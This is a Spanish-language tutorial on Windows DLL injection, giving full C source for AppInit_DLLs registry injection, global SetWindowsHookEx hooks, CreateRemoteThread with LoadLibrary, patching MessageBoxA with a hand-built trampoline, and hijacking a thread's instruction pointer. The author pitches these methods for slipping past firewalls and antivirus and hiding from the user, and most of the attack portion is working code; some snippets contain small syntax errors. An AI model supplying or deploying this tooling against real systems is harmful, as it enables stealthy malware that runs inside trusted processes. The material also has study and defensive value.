# Inyecciones Dll por MazarD
# http://www.mazard.info

## 0.-Índice



## 1.-Introducción

mmmm que dice google? :P

<cita>
Las inyecciones en general son parte importante en el tratamiento médico, el cual logrará su éxito dependiendo del seguimiento indicado para la aplicación, tanto en horario y vía indicada. Una inyección mal dirigida o una técnica mal aplicada puede evitar que el medicamento actué en forma eficaz, o puede causar lesiones.

Algunas de las razones y ventajas para aplicar el medicamento en inyección (terapia parenteral) son:

* Para lograr una rápida respuesta al medicamento
* Garantizar precisión y cantidad del medicamento administrado
* Obtener una respuesta segura en el paciente
* Evitar la irritación del aparato digestivo, pérdida del medicamento por expulsión involuntaria, por la destrucción del jugo gástrico
* Concentrar el medicamento en el área específica
* Cuando el estado mental o físico del paciente dificulta o hace posible el empleo de otra vía
</cita>

Bueno, intentaré adaptarlo un poco

-Que un programa externo ejecute nuestro código en este caso contenido en una dll
-Que no nos cague el tema el firewall puesto que ahora para él somos un programa con credenciales
-Si el usuario no es imbécil le complicaremos un poco la vida para encontrarnos.
-Modificar el comportamiento del programa

Pues eso, que si lo dice sanidad será verdad (juas). Después de esta inmensa adaptación (estupidez?) vamos a lo que interesa: Programar, sea lo que sea, sea cuando sea.

## 2.-Principios básicos de librerias de enlace dinámico

En todo el tutorial por cómodidad en este tipo de cosas vamos a usar C y en mi caso m$ visual c como ide.

**Dll Básica**

```
#include <windows.h>
#include <stdio.h>

//hinstdll es la instancia de la dll
//fdwReason es el motivo por el que se ha ejecutado el DllMain puede tomar como valores
//DLL_PROCESS_ATTACH=Un programa ha cargado la dll
//DLL_PROCESS_DETTACH=Un programa ha descargado la dll
//Si devolvemos TRUE la dll se quedará cargada si devolvemos FALSE la dll se descargará
//Por todo lo demás puedes imaginarte que estás programando un ejecutable normal y corriente
//solo que no tienes en principio entrada y salida por consola claro.

bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	if (fdwReason==DLL_PROCESS_ATTACH)
	{
		FILE *arch=fopen("c:\\mehecargado.txt","w");
		fclose(arch);
	}
	return TRUE;
}
```

**Dlls con funciones exportadas en m$ Visual C++**

Ahora tenemos una dll de la que queremos usar sus funciones desde otro programa, pues necesitamos tres archivos un .cpp(código) el .h (cabecera) y un .def (definición)

*.cpp:*

```
#include "ejemplo.h"

extern "C" //Definimos que las funciones de a continuación serán externas
int Suma(int a,int b)
{
	return (a+b);
}
```

*.h:*

```
#include <windows.h>
extern "C" //Lo mismo, le decimos que funciones de la cabecera son exportadas
{
        int Suma(int a,int b);
}
```

Ahora el archivo que necesita el linker para las funciones exportadas

*.def:*

```
LIBRARY      "Sumador"
DESCRIPTION  'Sumador Windows Dynamic Link Library'

EXPORTS
   Suma
```

# 3.-Descripción de apis necesarias

En este punto vamos a describir todo el material necesario para intervenir a nuestro paciente. Puedes saltarte el tema y ir revisando cuando no entiendas el funcionamiento de una api :P

## *3.0.-Conversiones "extrañas"*

Esto no es tema de apis pero por ponerlo en algún sitio. Si no tienes un mínimo de conocimientos sobre punteros deberías leerte algún tutorial extenso antes de implementar las dos últimas inyecciones.

Pero lo más complicado es lo siguiente:

```
*((DWORD*)codeBuff)=dLoadLibrary;
```

Tenemos que codeBuff es un buffer de datos de cierto tamaño, si queremos guardar a partir de su posición actual 4 bytes (Dword) tenemos que decirle que codeBuff es un puntero a un DWORD (**DWORD***) y decirle que queremos asignarlo a donde apunta codeBuff ***(**blabla**)**
Podría hacerse de otros modos pero es el mas eficiente, además a mí me parece el más cómodo.

```
typedef long (__stdcall *tipoproc)(int,unsigned int,long);
```

Con esto definimos un tipo puntero a función, si tenemos la dirección de memória de una función no podemos llamarla directamente en c. A riesgo de que alguien me dé una paliza por la comparación se puede decir que es como una variable donde guardamos una función para poder lanzarla de algún modo.

## *3.1.-LoadLibrary/GetProcAddress/GetModuleHandle*

*HMODULE=LoadLibrary(nombre de dll)*
Esta función carga una dll a nuestro programa, al cargarla se ejecuta el dllmain
Nos devuelve un manejador de la libreria o NULL si falla al cargar.

En el tema de inyecciones dll siempre se trata de hacer que el programa a inyectarse ejecute esta api pasandole la ruta a nuestra dll.

*HMODULE=GetModuleHandle(nombre de la dll)*
Nos devuelve el manejador a una libreria o NULL si falla
Para nosotros esta api tiene exactamente la misma utilidad que LoadLibrary solo que la usaremos cuando ya tenemos la libreria cargada en memoria

*FARPROC=GetProcAddress(libreria,nombre de función)*
Esta api nos devuelve la dirección de una función dentro de una libreria, la libreria debe estar cargada en memória y debemos pasarle el manejador de LoadLibrary o de GetModuleHande. Devolverá la dirección a la función o NULL si falla

*HMODULE WINAPI LoadLibrary(LPCTSTR lpFileName);*
Pasandole la ruta a una dll la cargará y nos devolverá su manejador, necesitaremos el manejador para SetWindowsHookEx.

*FARPROC WINAPI GetProcAddress(HMODULE hModule,LPCSTR lpProcName);*
Nos devuelve un puntero a una función de la dll que hayamos cargado con LoadLibrary

## *3.2.-SetWindowsHookEx*

*HHOOK SetWindowsHookEx(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);*

idHook es el tipo de hook que queremos instalar, hay varios, de mensaje a ventana, de evento de ventana, teclado, raton...
lpfn es un puntero hacia la función que se ejecutará cuando se produzca el evento
hMod es un puntero hacia la dll que contiene la función que se ejecutará cuando se produzca el evento
hThreadId es el identificador del hilo que queremos hookear, es decir, que parte de que programa queremos hookear, en el caso de que queramos establecer un hook global será 0.

## *3.3.-CreateRemoteThread*

Crea un nuevo hilo de ejecución en el proceso que le especifiquemos

```
HANDLE WINAPI CreateRemoteThread(
  HANDLE hProcess,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  SIZE_T dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter,
  DWORD dwCreationFlags,
  LPDWORD lpThreadId
);
```

hprocess es el manejador del proceso donde se creará el hilo, este parametro será el devuelto por OpenProcess

lpThreadAttributes en nuestro caso será null para que coja parametros de seguridad por defecto.

DwStackSize es el tamaño de la pila en nuestro caso será null para que coja el establecido por el programa.

LpStartAddress es la dirección de memoria donde se iniciará la ejecución del hilo

lpParameter son los parametros que se le pasarán a la función del hilo

dwCreationFlags es el modo en el que se lanzará el hilo, estableciendo null se ejecutará directamente

lpThreadId es una variable de salida que después de la llamada contendrá el identificador del hilo lanzado

## *3.4.-ReadProcessMemory/WriteProcessMemory*

*ReadProcessMemory(proceso,direccion,buffer,tamaño,bytestrabajados)*

Nos sirve para leer cierta región de memoria

proceso es el manejador del proceso devuelto por OpenProcess

dirección es la dirección de memoria a partir de la que se leerá

buffer después de la llamada contendrá los datos leidos

tamaño es la cantidad de datos a leer

bytestrabajados nos devolverá la cantidad de datos leidos.

*WriteProcessMemory(...)*

Es exactamente lo mismo que ReadProcessMemory solo que Buffer son los datos a escribir y bytestrabajados es el número de bytes que se han escrito correctamente.

## *3.5.-OpenProcess*

HANDLE WINAPI OpenProcess(*acceso,handleheredable,pid*);

acceso determina para que queremos abrir el proceso nosotros estableceremos PROCESS_ALL_ACCESS para tener todos los permisos posibles
handleheredable determina al crear un proceso si el manejador heredará del padre, en nuestro caso simplemente false
pid es el identificador del proceso que queremos abrir (puedes verlo en el taskmanager)

## *3.6.-VirtualAllocEx*

*VirtualAllocEx(proceso,Direccion,Tamaño,Tipo,proteccion)*
proceso es el manejador del proceso devuelto por OpenProcess
Direccion donde queremos asignar la memoria, en nuestros casos será null para que lo decida la función
Tamaño es la cantidad de bytes a asignar
Tipo es el tipo de asignación, puede tomar los valores:
MEM_COMMIT Para asginar memoria
MEM_RESERVE Para reservar memoria
MEM_RESET Para decirle que el bloque de memoria no es necesario ahora mismo pero puede serlo mas adelante
proteccion determina las operaciones disponibles en el sector de memoria asignado y los valores de impotancia para nosotros son:
PAGE_EXECUTE_READWRITE Dá permisos de ejecución, lectura y escritura
PAGE_READWRITE Dá permisos de lectura y escritura
La api nos devolverá la dirección de memória asignada

## *3.7.-VirtualProtect*

*VirtualProtect(direccion,tamaño,proteccion,proteccion vieja)*

direccion de memoria donde cambiar los atributos de protección

tamaño es la cantidad de bytes a partir de dirección a cambiar los atributos

proteccion es el tipo de proteccion y de importancia para nosotros puede tomar los siguientes valores:

PAGE_EXECUTE_READWRITE Dá permisos de ejecución, lectura y escritura

PAGE_READWRITE Dá permisos de lectura y escritura

proteccion vieja después de la llamada a la función contendrá la protección antes de ser cambiada

Esta api la utilizaremos para dar permisos de ejecución en sectores de datos

# 3.-Inyecciones

## *3.1.-Appinit_dlls (vacuna para el niño)*

Éste tipo de inyección es extremadamente simple, es el que utilizan algunos programas de modding para cambiar el aspecto de windows.

Lo que haremos será crear en la clave del registro
HKEY_LOCAL_MACHINE/software/microsoft/windows nt/currentversion/windows
Un valor alfanumérico de nombre "Appinit_dlls" y de contenido la ruta a una dll.

Haciendo esto al lanzar cualquier ejecutable que use user32, justo después de cargarla cargará nuestra dll y ejecutará nuestro dllmain. Desde el dllmain lo que haremos será comprobar si el programa al que queremos inyectarnos es el correcto con el api GetModuleFileName. También hay que tener en cuenta que lógicamente varias instancias del mismo ejecutable cargará varias veces nuestra dll. Explorer.exe y el resto de pacientes del sistema también cargarán nuestra dll lo que nos
dá la posibilidad de utilizar técnicas de api hooking con esta inyección cómo con todas las demás.
Por esto mismo si la dll falla el programa petará o sea que hay que tener cuidado al hacer las pruebas y meter la dll y la ruta hacia un pendrive porque puedes desestabilizar el sistema por completo. Decir que en windows vista esta clave se mantiene pero inhabilitada, hay que modificar otra para que esta sea funcional, mas información sangoogle.com
Creo que no merece mas explicación, mejor pasemos a las técnicas realmente interesantes.

## *3.2.-SetWindowsHookEx (Pinchazo eventual)*

Con esta técnica lo que hacemos es establecer un hook de windows (no es lo mismo que el api hooking) y al producirse cierto evento en la ventana del paciente cargaremos la dll.

Lo que haremos será instalar un hook des del programa principal hacia cierto programa o hacia todo el sistema, el código del hook al producirse cierto evento cargará nuestra dll final, de este modo tenemos nuestra dll independiente cargada en el programa final.
En el ejemplo establecemos un hook de CBT que vienen a ser los eventos de ventana cómo crear ventana, moverla, destruirla, maximizarla... Además aquí es de set_focus y global, por tanto cualquier programa que obtenga el foco inyectará nuestra dll.

El código del programa que se encarga de instalar el hook quedaría así:

```
#include <stdio.h>
#include <windows.h>

int main()
{
	HMODULE dll;
	typedef long (__stdcall *tipoproc)(int,unsigned int,long); //Definimos un tipo puntero a función
	HWND hWin;
	tipoproc proc;
	HHOOK resh;

	printf("SetWindowsHookEx Inyección Dll by MazarD\n http://www.mazard.info\n");
	//Cargamos la dll que contiene la función de hook
	dll=LoadLibrary("c:\\dllhook.dll");
	//Obtenemos la dirección a la función de hook
	proc=(tipoproc)GetProcAddress(dll,"FunHook");
      //Establecemos un hook global (lo hago así para no complicar la história buscando thread ids externos)
	resh=SetWindowsHookEx(WH_CBT,proc,dll,0);
	if (resh!=0) printf("Hook instalado!"); else printf("No se ha podido instalar el hook");
	return 0;
}
```

La función de la dll que contiene el hook tiene que ser lógicamente exportada (funciones de una dll que se pueden usar desde cualquier programa) y nos quedaría así:

*dllhook.cpp*

```
#include "setwindowshookex.h"
extern "C"
LRESULT CALLBACK FunHook(int nCode,WPARAM wParam,LPARAM lParam)
{
	if (nCode==HCBT_SETFOCUS) //Si obtenemos el foco
	{
		LoadLibrary("c:\\ladll.dll"); //Cargamos la dll final
	}
	//En principo además aquí se debería introducir un CallNextHookEx pero así nos encargamos en
      //cierto modo de que nadie más reciba hooks de nuestro programa
	return 0;
}
```

*dllhook.h*

```
#include <windows.h>
extern "C"
{
	LRESULT CALLBACK FunHook(int nCode,WPARAM wParam,LPARAM lParam);
}
```

*dllhook.def*

```
LIBRARY      "Inyecciones"
DESCRIPTION  'Inyecciones Windows Dynamic Link Library'
EXPORTS
   FunHook
```

Finalmente, la dll que contendrá todo nuestro código puede ser cualquier cosa, nosotros crearemos un archivo dllinyectada.txt que nos mostrará todos los sitios donde se vá inyectando la dll. Esta misma dll puedes usarla para probar el resto de técnicas.

ladll.cpp

```
#include <windows.h>
#include <stdio.h>

bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
	FILE *fitx;
	char nout[MAX_PATH]="";
	if (fdwReason==DLL_PROCESS_ATTACH)
	{
		fitx=fopen("c:\\dllinyectada.txt","a");
		GetModuleFileName(NULL,nout,MAX_PATH);
		fputs("Inyectado en ",fitx);
		fputs(nout,fitx);
		fputs("\n",fitx);
		fclose(fitx);
	}
	return TRUE;
}
```

También hay que decir que cuando nuestra dll final esté inyectada en el paciente deberíamos llamar a UnhookWindowsHookEx pasandole como parametro el resultado devuelto por setwindowshookex para quitar el hook al programa, hay que ser un poco limpios, eso de dejar la aguja ahí es un poco asqueroso.

## *3.3.-CreateRemoteThread (Vacuna común)*

Esta es la téncica más explicada y utilizada y si, también la mas detectada por antivirus y firewalls. La teoría detrás de esto es que windows nos dá una forma de crear un nuevo hilo en cierta posición de memória de un programa externo, entonces lo que se hace es reservar memoria en el proceso remoto, escribir en ella la ruta de la dll que queremos ejecutar y lanzar un hilo remoto justo en loadlibrary pasandole como parámetro la direccion de memória que habíamos escrito. Es necesario escribir el parámetro en el espacio de memória del programa en el que nos inyectamos ya que el programa externo no tiene acceso a nuestro espacio de memoria para poder leer nuestra variable.
La cosa viene a quedar así:

```
#include <windows.h>
int main()
{
		DWORD pid;
		HANDLE proc;
		char buf[MAX_PATH]="";
		char laDll[]="c:\\ladll.dll";
		LPVOID RemoteString;
		LPVOID nLoadLibrary;
		char Entrada[255];

		printf("Ejemplo CreateRemoteThread by
MazarD\nhttp://www.mazard.info\n");
		printf("Introduce el PID del programa (puedes verlos en el taskmanager):");
		fgets(Entrada,255,stdin);
		pid=(DWORD)atoi(Entrada);
		proc = OpenProcess(PROCESS_ALL_ACCESS, false, pid);

		//Aquí usamos directamente GetModuleHandle en lugar de loadlibrary ya que
kernel32 la cargan todos los ejecutables
		//Con esto tenemos un puntero a LoadLibraryA
		nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),
"LoadLibraryA");
		//Reservamos memoria en el proceso abierto
		RemoteString = (LPVOID)VirtualAllocEx(proc,NULL,strlen(laDll),MEM_COMMIT|
MEM_RESERVE,PAGE_READWRITE);
		//Escribimos la ruta de la dll en la memoria reservada del proceso remoto
		WriteProcessMemory(proc,(LPVOID)RemoteString,laDll,strlen(laDll),NULL);
		//Lanzamos el hilo remoto en loadlibrary pasandole la dirección de la cadena

CreateRemoteThread(proc,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOI
D)RemoteString,NULL,NULL);

		CloseHandle(proc);

  return true;
}
```

## *4.4.-Inyección por trampolín*

Esta técnica y la siguiente son mas complejas que las anteriores y son propias así que les he dado el nombre que me ha parecido mas representativo. Para entenderlo debes tener conocimientos sobre ensamblador.

Esta es muy apropiada en especial para modificar el comportamiento concreto de un programa ya que nuestra dll será cargada (y por lo tanto ejecutada) cuando se llame a cierta api.
Esta técnica tiene la peculiaridad de que cada vez que se llame a la api se intentará cargar la dll lo que comporta a favor nuestro la persistencia del código inyectado y en contra la ralentización de la api al provocar un LoadLibrary cada vez que se llama, cuidado con que api se utiliza.

Es bastante parecida al trampolín en api hooking, lo que hacemos es sobreescribir el principio de cierta api para que salte a nuestro código, en nuestro código cargamos nuestra dll, ejecutamos el código que habiamos sobreescrito y saltamos a la posición siguiente que no habiamos modificado de la api, de este modo ejecutamos código de forma transparente a ella.
Con este codigo veremos un ejemplo de inyección por trampolín, después de la inyección a cierto proceso a partir de su pid cuando este haga una llamada a MessageBoxA nuestra dll será cargada.

```
#include <windows.h>
#include <stdio.h>

//Esta funcion hace la llamada a LoadLibrary pasandole el nombre de nuestra dll, después
//ejecuta el código sobreescrito por el jmp y salta a la instrucción siguiente al jmp
BYTE *CrearCodigo(DWORD Ruta,DWORD dLoadLibrary,DWORD RetDir,BYTE *RepBuff,DWORD RepSize)
{
	BYTE *codeBuff;
	codeBuff=(BYTE*)malloc(20+RepSize);

	//Guardamos registros y llamamos a LoadLibrary pasandole la ruta a nuestra dll
	*codeBuff=0x60;  //opcode correspondiente a pushad
	codeBuff++;
	//push path
	*codeBuff=0x68;
	codeBuff++;
	*((DWORD*)codeBuff)=Ruta;
	codeBuff+=4;
	//mov eax,dLoadLibrary
	*codeBuff=0xB8;
	codeBuff++;
	*((DWORD*)codeBuff)=dLoadLibrary;
	codeBuff+=4;
	*((WORD*)codeBuff)=0xD0FF; //call eax
	codeBuff+=2;
	*codeBuff=0x61; //popad
	codeBuff++;
```

```
		//Ahora metemos el codigo que ha sido reemplazado
		memcpy(codeBuff,RepBuff,RepSize);
		codeBuff+=RepSize;
		//Ahora hacemos el salto a la dirección de la api
		*codeBuff=0x68; //push RetDir
		codeBuff++;
		*((DWORD*)codeBuff)=(DWORD)RetDir;
		codeBuff+=4;
		*codeBuff=0xC3;  //ret

		codeBuff-=(19+RepSize);
		return codeBuff;
}

int main()
{
		void *hMsgBox;
		DWORD dLoadLib;

		DWORD pID;
		HANDLE hproc;
		DWORD size=5;

		BYTE *ReplacedBuff;
		DWORD oldprot;
		void *repsite,*dllnsite;
		BYTE *inject;
		char laDll[]="c:\\ladll.dll";
		BYTE *jmpBuff;

		printf("Inyección por trampolin by MazarD\nhttp://www.mazard.info\n");
		printf("PID del proceso a inyectarse:");
		scanf("%d",&pID);
		//Preparamos direcciones de apis necesarias
		hMsgBox=GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA");
		printf("Dirección de MessageBoxA:%.4x\n",hMsgBox);

dLoadLib=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
		printf("Dirección de LoadLibraryA:%.4x\n",dLoadLib);

		//Abrimos el proceso y damos permisos en la zona de reemplazo
		hproc=OpenProcess(PROCESS_ALL_ACCESS,false,pID);
		VirtualProtect(hMsgBox,size,PAGE_EXECUTE_READWRITE,&oldprot);

		//Leemos el codigo que será reemplazado
		ReplacedBuff=(BYTE*)malloc(size+6);
		memset(ReplacedBuff,90,size+6);
		ReadProcessMemory(hproc,hMsgBox,ReplacedBuff,size,NULL);


		//Reservamos memoria y guardamos el nombre de la dll
		dllnsite=VirtualAllocEx(hproc,NULL,11,MEM_COMMIT |
```

```
MEM_RESERVE,PAGE_EXECUTE_READWRITE);
            WriteProcessMemory(hproc,dllnsite,laDll,strlen(laDll)+1,NULL);
            printf("Nombre de la dll en:%.4x\n",dllnsite);

            //Creamos el codigo

inject=CrearCodigo((DWORD)dllnsite,dLoadLib,(DWORD)hMsgBox+5,ReplacedBuff,size);
            //Reservamos memoria y guardamos el codigo
            repsite=VirtualAllocEx(hproc,NULL,size+20,MEM_COMMIT |
MEM_RESERVE,PAGE_EXECUTE_READWRITE);
            WriteProcessMemory(hproc,repsite,inject,size+20,NULL);
            printf("Codigo Reemplazado en:%.4x\n",repsite);

            //Creamos un salto hacia nuestro codigo y lo ponemos en el inicio de la api
            jmpBuff=(BYTE*)malloc(5);
            *jmpBuff=0xE9;  //opcode correspondiente a jmp
            jmpBuff++;
            *((DWORD*)jmpBuff)=(DWORD)repsite-(DWORD)hMsgBox-5;
            jmpBuff--;
            WriteProcessMemory(hproc,hMsgBox,jmpBuff,5,NULL);

            CloseHandle(hproc);


            return 0;
}
```

## *4.5.-Redirección de Threads*

Ventajas? Igual que la anterior no es detectado por ningún firewall, hacemos que el programa ejecute código propio muy limpiamente y si al inyectar no probocamos el crasheo podemos estar seguros de que no se desestabilizará nunca. Desde mi punto de vista es el mejor método sin lugar a dudas.

La idea de este método es inyectarle codigo (el código será nuestro querido LoadLibrary), detener la ejecución, cambiar el registro eip para que se ejecute nuestro código, relanzar la ejecución y automágicamente el código inyectado devolverá la ejecución al punto dónde estaba.
Dado que estamos interrumpiendo la ejecución en un punto aleatório del programa después de ejecutar el código debemos dejar absolutamente todo tal y como estaba. Así debemos guardar y restaurar a parte de los registros los flags, ya que por ejemplo si interrumpieramos la ejecución en un cmp algo,algo y a continuación tenemos un salto podemos estar alterando el resultado de la comparación. Es lo mismo que si estubieramos programando una rutina de servicio de interrupción.
Para devolver la ejecución al punto anterior en principio podría hacerse con un jmp pero esto nos dá el problema de que no sabemos si el salto debe ser positivo o negativo así que lo que se hace en el código es el truquito de pushear la dirección a la que queremos saltar y al finalizar hacer un ret que nos devolverá al código.

Con el código se entiende mejor.

```
#include <windows.h>
#include <stdio.h>

BYTE* CrearCodigo(DWORD Eip,DWORD Ruta,DWORD dLoadLibrary)
{
	BYTE *codeBuff;

	codeBuff=(BYTE*)malloc(22);
	//push eipvella
	*codeBuff=0x68;
	codeBuff++;
	*((DWORD*)codeBuff)=Eip;
	codeBuff+=4;

	*codeBuff=0x9C; //pushfd
	codeBuff++;
	*codeBuff=0x60;  //pushad
	codeBuff++;

	//push path
	*codeBuff=0x68;
	codeBuff++;
	*((DWORD*)codeBuff)=Ruta;
	codeBuff+=4;

	//mov eax,nLoadLib
	*codeBuff=0xB8;
	codeBuff++;
	*((DWORD*)codeBuff)=dLoadLibrary;
	codeBuff+=4;

	*((WORD*)codeBuff)=0xD0FF; //call eax
	codeBuff+=2;
	*codeBuff=0x61; //popad
	codeBuff++;
	*codeBuff=0x9D;  //popfd
	codeBuff++;
	*codeBuff=0xC3;   //ret
	codeBuff-=21;

	return codeBuff;
}
int main()
{
	typedef HANDLE (__stdcall *openthread) (DWORD,BOOL,DWORD);
	openthread AbrirHilo;

	HANDLE proces,fil;
	char nomDll[]="c:\\ladll.dll";
	void *medkitsite,*path;
```

```
            DWORD pID,tID;
            BYTE *medicina;

            CONTEXT context;
            DWORD eipvella;
            DWORD nLoadLib;

            printf("Inyección Dll por MazarD\n Método Thread
Redirection\nhttp://www.mazard.info\n");
            printf("Identificador del proceso (PID):");
            scanf("%d",&pID);
            printf("Identificador del hilo (TID):");
            scanf("%d",&tID);

            printf("Inyectando en el hilo %.2x del proceso %.2x\n",tID,pID);

            //Abrimos el proceso
            proces=OpenProcess(PROCESS_ALL_ACCESS,false,pID);
            //Abrimos el hilo (Está así porque el api OpenThread no aparece en mi
windows.h)
AbrirHilo=(openthread)GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenThread");
            fil=AbrirHilo(THREAD_ALL_ACCESS,false,tID);
            //Reservamos memória en el proceso y escribimos la ruta a la dll
            path=VirtualAllocEx(proces,NULL,strlen(nomDll)+1,MEM_COMMIT |
MEM_RESERVE,PAGE_READWRITE);
            (WriteProcessMemory(proces,path,nomDll,strlen(nomDll),NULL)
            //Cogemos la dirección a LoadLibrary

nLoadLib=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");


            //Suspendemos el hilo y cogemos el puntero de instrucciones (punto de
ejecución actual)
            SuspendThread(fil);
            context.ContextFlags=CONTEXT_CONTROL;
            GetThreadContext(fil,&context);
            eipvella=context.Eip;
            printf("Eip al retornar:%.2x\n",eipvella);

            //Creamos el código a partir de eip, la ruta a la dll y la dirección de
loadlibrary
            medicina=CrearCodigo((DWORD)eipvella,(DWORD)path,nLoadLib);
            printf("CodigoCreado:%.2x\n\n",medicina);

            //Reservamos memoria y escribimos nuestro código en el
            medkitsite=VirtualAllocEx(proces,NULL,22,MEM_COMMIT |
MEM_RESERVE,PAGE_EXECUTE_READWRITE);
            WriteProcessMemory(proces,medkitsite,medicina,22,NULL)

            printf("Nuevo Eip:%.2x\n",(DWORD)medkitsite);
            //modificamos el puntero de instrucciones para que apunte a nuestro código
inyectado
            context.Eip = (DWORD)medkitsite;
```

```
        context.ContextFlags = CONTEXT_CONTROL;
        SetThreadContext(fil,&context);

        //Le decimos al hilo que puede volver a ejecutarse (lanzará nuestro codigo)
        ResumeThread(fil);
        printf("Inyección completada!!\n");

        CloseHandle(proces);
        CloseHandle(fil);

        return 0;
}
```

Para no alargar más de lo necesario el código verás que toda la inyección se basa en el tid y el pid.
Para hacer las pruebas puedes usar procexp al hacer clic derecho propiedades te aparecerán todos los TID del proceso en cuestión, se puede usar cualquiera. Si estás en windows sin procexp me caes mal xd
Bromas a parte, el pid y el tid se pueden conseguir facilmente a partir del nombre del proceso, http://www.sangoogle.com sabe el resto.

## 5.-Conclusión y despedida

Aquí termina la história, algunas de estas técnicas como la inyección por trampolín y la redirección de hilos son propias así que probablemente no las encuentres en ningún otro sitio, decir que todo el código de éste tutorial es propio y está bajo la licencia "HazLoQueTeSalgaDeLosWebos". Des del momento en el que lo has descargado en tu navegador puedes ampliarlo o acortarlo, modificarlo o cargartelo, cambiarle las variables para decir que es tuyo, imprimirlo para usarlo como papel higénico... pero si por una de aquellas decidieras utilizarlo para algo útil se agradeceria que me lo comentaras en mazard @ gmail . Com
Para cualquier duda puedes entrar en el foro de http://www.mazard.info
En http://www.mazard.info/inyecciones.zip encontrarás todo el código de este artículo

## 6.-Bibliografia

Unos cuantos petas en una tarde de aburrimiento.
Bueno, la msdn ha participado en algunas cosas :P